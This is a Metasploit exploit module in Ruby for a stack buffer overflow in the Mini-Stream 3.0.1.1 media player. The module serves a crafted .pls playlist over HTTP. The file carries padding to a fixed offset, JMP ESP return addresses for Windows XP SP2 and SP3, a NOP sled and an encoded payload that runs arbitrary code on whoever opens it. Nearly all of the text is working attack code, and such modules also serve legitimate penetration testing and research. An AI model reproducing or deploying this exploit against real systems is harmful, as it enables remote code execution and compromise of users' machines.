##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow',
			'Description' => %q{
					This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
				By creating a specially crafted pls file, an an attacker may be able
				to execute arbitrary code.
			},
			'License' => MSF_LICENSE,
			'Author' =>
				[
					'CORELAN Security Team ',
					'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
				],
			'Version' => '$Revision$',
			'References' =>
				[
					[ 'OSVDB', '61341' ],
					[ 'EDB', 10745 ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload' =>
				{
					'Space' => 3500,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
					'StackAdjustment' => -3500
				},
			'Platform' => 'win',
			'Targets' =>
				[
					[
						'Windows XP SP3 ENG',
						{
							'Ret'    => 0x7e429353,  # 0x7e429353 JMP ESP - USER32.dll
							'Offset' => 17417
						}
					],
					[
						'Windows XP SP2 ENG',
						{
							'Ret'    => 0x7c941eed,  # 0x7c941eed JMP ESP - SHELL32.dll
							'Offset' => 17417
						}
					]
				],
			'Privileged' => false,
			'DisclosureDate' => 'Dec 25 2009',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URIPATH',  [ true,  'The URI to use for this exploit', 'msf.pls'])
			], self.class)
	end


	def on_request_uri(cli, request)
		# Calculate the correct offset
		host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		host << ":#{datastore['SRVPORT']}/"
		offset = target['Offset'] - host.length

		# Construct our buffer
		sploit = rand_text_alpha(offset)
		sploit << [target.ret].pack('V')
		sploit << make_nops(32)
		sploit << @p

		print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
	end

	def exploit
		@p = payload.encoded
		super
	end

end